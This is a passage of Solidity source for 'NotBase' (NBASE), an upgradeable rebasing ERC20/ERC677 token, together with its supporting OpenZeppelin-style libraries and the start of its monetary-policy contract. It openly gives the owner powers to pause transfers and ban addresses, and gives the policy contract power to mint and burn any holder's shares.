p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } abstract contract ERC677Token is ERC677 { /** * @dev transfer token to a contract address with additional data if the recipient is a contact. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall(address _to, uint _value, bytes memory _data) public override returns (bool success) { transfer(_to, _value); // emit Transfer(msg.sender, _to, _value, _data); if (isContract(_to)) { contractFallback(_to, _value, _data); } return true; } function contractFallback(address _to, uint _value, bytes memory _data) private { ERC677Receiver receiver = ERC677Receiver(_to); receiver.onTokenTransfer(msg.sender, _value, _data); } function isContract(address _addr) private view returns (bool hasCode) { uint length; // solhint-disable-next-line no-inline-assembly assembly { length := extcodesize(_addr) } return length > 0; } } interface IUniswapSync { function sync() external; } /** * @title NBASE ERC20 token * @dev This is part of an implementation of the NBASE Index Fund protocol. * NBASE is a normal ERC20 token, but its supply can be adjusted by splitting and * combining tokens proportionally across all wallets. * * NBASE balances are internally represented with a hidden denomination, 'shares'. * We support splitting the currency in expansion and combining the currency on contraction by * changing the exchange rate between the hidden 'shares' and the public 'NBASE'. */ contract NotBaseToken is ERC20UpgradeSafe, ERC677Token, OwnableUpgradeSafe { // PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH // Anytime there is division, there is a risk of numerical instability from rounding errors. In // order to minimize this risk, we adhere to the following guidelines: // 1) The conversion rate adopted is the number of shares that equals 1 NBASE. // The inverse rate must not be used--totalShares is always the numerator and _totalSupply is // always the denominator. (i.e. If you want to convert shares to NBASE instead of // multiplying by the inverse rate, you should divide by the normal rate) // 2) Share balances converted into NotBaseToken are always rounded down (truncated). // // We make the following guarantees: // - If address 'A' transfers x NotBaseToken to address 'B'. A's resulting external balance will // be decreased by precisely x NotBaseToken, and B's external balance will be precisely // increased by x NotBaseToken. // // We do not guarantee that the sum of all balances equals the result of calling totalSupply(). // This is because, for any conversion function 'f()' that has non-zero rounding error, // f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn). using SafeMath for uint256; using SafeMathInt for int256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); event LogMonetaryPolicyUpdated(address monetaryPolicy); event LogUserBanStatusUpdated(address user, bool banned); // Used for authentication address public monetaryPolicy; modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } uint256 private constant DECIMALS = 9; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_SUPPLY = 8795645 * 10**DECIMALS; // uint256 private constant INITIAL_SUPPLY = 20808462353615000; uint256 private constant INITIAL_SHARES = (MAX_UINT256 / (10 ** 36)) - ((MAX_UINT256 / (10 ** 36)) % INITIAL_SUPPLY); uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1 uint256 private _totalShares; uint256 private _totalSupply; uint256 private _sharesPerBASE; mapping(address => uint256) private _shareBalances; mapping(address => bool) public bannedUsers; // This is denominated in NotBaseToken, because the shares-NBASE conversion might change before // it's fully paid. mapping (address => mapping (address => uint256)) private _allowedBASE; bool public transfersPaused; bool public rebasesPaused; mapping(address => bool) public transferPauseExemptList; function setTransfersPaused(bool _transfersPaused) public onlyOwner { transfersPaused = _transfersPaused; } function setTransferPauseExempt(address user, bool exempt) public onlyOwner { if (exempt) { transferPauseExemptList[user] = true; } else { delete transferPauseExemptList[user]; } } function setRebasesPaused(bool _rebasesPaused) public onlyOwner { rebasesPaused = _rebasesPaused; } /** * @param monetaryPolicy_ The address of the monetary policy contract to use for authentication. */ function setMonetaryPolicy(address monetaryPolicy_) external onlyOwner { monetaryPolicy = monetaryPolicy_; emit LogMonetaryPolicyUpdated(monetaryPolicy_); } /** * @dev Notifies NotBaseToken contract about a new rebase cycle. * @param supplyDelta The number of new NBASE tokens to add into circulation via expansion. * @return The total number of NBASE after the supply adjustment. */ function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256) { require(msg.sender == monetaryPolicy, "only monetary policy"); require(!rebasesPaused, "rebases paused"); if (supplyDelta == 0) { emit LogRebase(epoch, _totalSupply); return _totalSupply; } if (supplyDelta < 0) { _totalSupply = _totalSupply.sub(uint256(supplyDelta.abs())); } else { _totalSupply = _totalSupply.add(uint256(supplyDelta)); } if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _sharesPerBASE = _totalShares.div(_totalSupply); // From this point forward, _sharesPerBASE is taken as the source of truth. // We recalculate a new _totalSupply to be in agreement with the _sharesPerBASE // conversion rate. // This means our applied supplyDelta can deviate from the requested supplyDelta, // but this deviation is guaranteed to be < (_totalSupply^2)/(totalShares - _totalSupply). // // In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this // deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is // ever increased, it must be re-included. emit LogRebase(epoch, _totalSupply); IUniswapSync(0xdE5b7Ff5b10CC5F8c95A2e2B643e3aBf5179C987).sync(); return _totalSupply; } function totalShares() public view returns (uint256) { return _totalShares; } function sharesOf(address user) public view returns (uint256) { return _shareBalances[user]; } function mintShares(address recipient, uint256 amount) public { require(msg.sender == monetaryPolicy, "forbidden"); _shareBalances[recipient] = _shareBalances[recipient].add(amount); _totalShares = _totalShares.add(amount); } function burnShares(address recipient, uint256 amount) public { require(msg.sender == monetaryPolicy, "forbidden"); require(_shareBalances[recipient] >= amount, "amount"); _shareBalances[recipient] = _shareBalances[recipient].sub(amount); _totalShares = _totalShares.sub(amount); } function initialize() public initializer { __ERC20_init("NotBase", "NBASE"); _setupDecimals(uint8(DECIMALS)); __Ownable_init(); _totalShares = INITIAL_SHARES; _totalSupply = INITIAL_SUPPLY; _shareBalances[owner()] = _totalShares; _sharesPerBASE = _totalShares.div(_totalSupply); // Ban the Kucoin hacker bannedUsers[0xeB31973E0FeBF3e3D7058234a5eBbAe1aB4B8c23] = true; emit Transfer(address(0x0), owner(), _totalSupply); } function setUserBanStatus(address user, bool banned) public onlyOwner { if (banned) { bannedUsers[user] = true; } else { delete bannedUsers[user]; } emit LogUserBanStatusUpdated(user, banned); } /** * @return The total number of NBASE. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) public override view returns (uint256) { return _shareBalances[who].div(_sharesPerBASE); } /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. * @return True on success, false otherwise. */ function transfer(address to, uint256 value) public override(ERC20UpgradeSafe, ERC677) validRecipient(to) returns (bool) { require(bannedUsers[msg.sender] == false, "you are banned"); require(!transfersPaused || transferPauseExemptList[msg.sender], "paused"); uint256 shareValue = value.mul(_sharesPerBASE); _shareBalances[msg.sender] = _shareBalances[msg.sender].sub(shareValue); _shareBalances[to] = _shareBalances[to].add(shareValue); emit Transfer(msg.sender, to, value); return true; } /** * @dev Function to check the amount of tokens that an owner has allowed to a spender. * @param owner_ The address which owns the funds. * @param spender The address which will spend the funds. * @return The number of tokens still available for the spender. */ function allowance(address owner_, address spender) public override view returns (uint256) { return _allowedBASE[owner_][spender]; } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) public override validRecipient(to) returns (bool) { require(bannedUsers[msg.sender] == false, "you are banned"); require(!transfersPaused || transferPauseExemptList[msg.sender], "paused"); _allowedBASE[from][msg.sender] = _allowedBASE[from][msg.sender].sub(value); uint256 shareValue = value.mul(_sharesPerBASE); _shareBalances[from] = _shareBalances[from].sub(shareValue); _shareBalances[to] = _shareBalances[to].add(shareValue); emit Transfer(from, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public override returns (bool) { require(!transfersPaused || transferPauseExemptList[msg.sender], "paused"); _allowedBASE[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { require(!transfersPaused || transferPauseExemptList[msg.sender], "paused"); _allowedBASE[msg.sender][spender] = _allowedBASE[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedBASE[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { require(!transfersPaused || transferPauseExemptList[msg.sender], "paused"); uint256 oldValue = _allowedBASE[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedBASE[msg.sender][spender] = 0; } else { _allowedBASE[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedBASE[msg.sender][spender]); return true; } } interface IOracle { function getData() external view returns (uint256, bool); } /** * @title NotBaseToken Monetary Supply Policy * @dev This is an implementation of the NotBaseToken Index Fund protocol. * NotBaseToken operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the NotBaseToken ERC20 token in response to * market oracles. */ contract BaseTokenMonetaryPolicy is OwnableUpgradeSafe { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 mcap, int256 requestedSupplyAdjustment, uint256 timestampSec ); NotBaseToken public NBASE; // Provides the current market cap, as an 18 decimal fixed point number. IOracle public mcapOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. // (eg) An oracle value of 1.5e18 it would mean 1 NBASE is trading for $1.50. IOracle public tokenPriceOracle; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec; // The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; // This module orchestrates the rebase execution and downstream notification. address public orchestrator; address[] public charityRecipients; mapping(address => bool) public charityExists; mapping(address => uint256) public charityIndex; mapping(address => uint256) public charityPercentOnExpansion; mapping(address => uint256) public charityPercentOnContraction; uint256 public totalCharityPercentOnExpansion; uint256 public totalCharityPercentOnContraction; function setBASEToken(address _BASE) public onlyOwner { NBASE = NotBaseToken(_BASE); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is 